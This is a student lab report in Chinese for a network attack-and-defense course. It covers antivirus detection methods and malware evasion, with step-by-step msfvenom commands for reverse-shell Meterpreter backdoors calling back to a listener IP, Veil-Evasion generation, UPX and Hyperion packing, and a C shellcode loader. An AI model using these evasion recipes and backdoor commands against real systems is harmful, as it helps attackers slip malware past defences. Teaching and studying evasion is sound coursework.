2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践

1 实践说明

1.1实践内容

  • (1)正确使用msf编码器

  • (2)veil

  • (3)加壳工具

  • (4)使用C + shellcode编程

  • (5)使用其他课堂未介绍方法

-(6)通过组合应用各种技术实现恶意代码免杀并用另一电脑实测,在杀软开启的情况下,可运行并回连成功

1.2基础知识

1.2.1免杀

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术

  • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验

1.2.2恶意软件检测机制

  • 基于特征码的检测

    • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码

    • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库

  • 启发式恶意软件检测

    • 启发式Heuristic,简单来说,就是根据些片面特征去推断;通常是因为缺乏精确判定依据

    • 优点:可以检测0-day恶意软件;具有一定通用性

    • 缺点:实时监控系统行为,开销稍多;没有基于特征码的精确度高

  • 基于行为的恶意软件检测

    • 最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描

    • 所以后来又提出了基于行为的;从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式

1.2.3免杀技术(Evading AV)综述

  • 改变特征码

    • 如果你手里只有EXE

      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)

      • 用encode进行编码

      • 基于payload重新编译生成可执行文件

    • 有源代码

      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为

    • 通讯方式

      • 尽量使用反弹式连接

      • 使用隧道技术

      • 加密通讯数据

    • 操作模式

      • 基于内存操作

      • 减少对系统的修改

      • 加入混淆作用的正常功能代码

  • 非常规方法

    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中

    • 使用社工类攻击,诱骗目标关闭AV软件

    • 纯手工打造一个恶意软件

  • 留后门的思路是这样的:

    • 你写一个有漏洞的软件,开一个服务端口,这个软件本身没问题,然后如果这个端口被攻击,就可以获得系统控制权

      • 通过meterpreter这种驻留内存的payload,AV软件很难检出

      • 这样的小漏洞程序大家也有做,自己攻击自己还是很容易的

    • 当然最好的方法,还是手工打造,自己从头编一个,没有通用工具的特征,AV软件也就杀不出来了

      • 从头打造当然是相当有难度的,但我们可以利用Metasploit已有的payload来半手工的打造,效果也不错

2 正确使用msf编码器

2.1 生成exe文件

  • 编码一次命令如下(用-e参数编码):

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.186.133 LPORT=5334 -f exe > backdoor_5334.exe

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第1张图片

  • 编码十次命令如下(用-i参数指定编码次数):

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.186.133 LPORT=5334 -f exe > backdoor_5334_2.exe

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第2张图片

  • 检测

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第3张图片
2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第4张图片

  • msfvenom会生成固定模板的exe文件,因此其具有一定特征,一般的AV厂商也会针对其模板生成特征码来进行查杀

2.2 生成jar等其它文件

  • 生成jar文件命令如下:

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.186.133 lport=5334 x> backdoor_5334_java.jar

  • 生成php文件命令如下:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.186.133 lport=5334 x> backdoor_5334.php

  • 检测

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第5张图片
2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第6张图片

2.3 veil

  • 输入sudo apt-get install veil进行安装;之后用输入veil打开,输入y继续安装直至完成,这期间可能要等待较长时间

  • 进入Veil后,输入use evasion进入Veil-Evasion

  • 输入use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP,输入set LHOST 192.168.186.133

  • 设置端口,输入set LPORT 5334

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第7张图片

  • 最后输入generate生成后门程序文件后并命名

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第8张图片

  • 检测

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第9张图片

2.4 加壳工具

  • 输入以下命令为文件加压缩壳:

upx backdoor5334_3.exe -o backdoor5334_3.upxed.exe

  • 检测

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第10张图片

  • 将加了压缩壳的文件放入hyperion目录中,输入以下命令为其加加密壳:

wine hyperion.exe -v backdoor5334_upxed.exe backdoor5334_upxed_Hyperion.exe

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第11张图片

  • 检测

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第12张图片

  • 压缩壳似乎作用不大,加密壳有一定的作用

2.5 使用C + shellcode编程

  • 使用如下命令生成一段c语言格式的shellcode

msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.186.133 LPORT=5334 -f c

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第13张图片

  • 新建一个c文件,内容如下:
java
unsigned char buf[] = 
"shellcode数组内容"

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 输入i686-w64-mingw32-g++ shell5334.c -o shell5334.exe命令,生成可执行文件

  • 检测

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第14张图片

2.6 使用其他课堂未介绍方法

  • 进入Veil后,输入use evasion进入Veil-Evasion

  • 输入list查看可用的payloads

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第15张图片

  • 输入use 30选择后,输入generate生成文件,生成的文件类型选择2,生成一个exe文件,之后进行配置

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第16张图片

  • 生成的setup.pyrunme.bat两个文件保存在/var/lib/veil/output/source/

  • 检测

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第17张图片
2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第18张图片

3 通过组合应用各种技术实现恶意代码免杀

  • 在2.6中可以看到veil生成的后门文件,使用Python语言可以很好的实现免杀功能,于是这里使用了28号payload并为其加上了加密壳

  • 成功实现与杀软共生

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第19张图片
2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第20张图片

4 用另一电脑实测,在杀软开启的情况下,可运行并回连成功

  • 使用windows7操作系统,运行时没有问题,回连时被查杀

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第21张图片
2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第22张图片
2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第23张图片
2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践_第24张图片

  • 传输运行时没有问题,回连时被360查杀

5 实验收获与感想

  • 本次实验操作性较强,但过程并不复杂;通过本次实验学会了Veil的操作并巩固了msfvenom的操作;除此之外,我还意识到开启杀软并不能完全保护电脑安全;所以更要努力学习,一方面是提高自己的网络安全意识,另一方面是提高自己的技能去思考如何抵御恶意攻击

6 回答问题

  • (1)杀软是如何检测出恶意代码的?

    • 基于特征码的检测;基于行为的恶意软件检测;启发式恶意软件检测
  • (2)免杀是做什么?

    • 一种能使病毒木马免于被杀毒软件查杀的技术
  • (3)免杀的基本方法有哪些?

    • 改变特征码(加壳、encode进行编码、基于payload重新编译生成可执行文件、用其他语言进行重写再编译)

    • 改变行为(尽量使用反弹式连接、使用隧道技术、加密通讯数据;基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码)

    • 非常规方法(使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件)

  • (4)开启杀软能绝对防止电脑中恶意代码吗?

    • 通过本次实验发现并不能,杀毒软件也会有缺陷,仍然会使电脑中恶意代码

你可能感兴趣的:(2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践)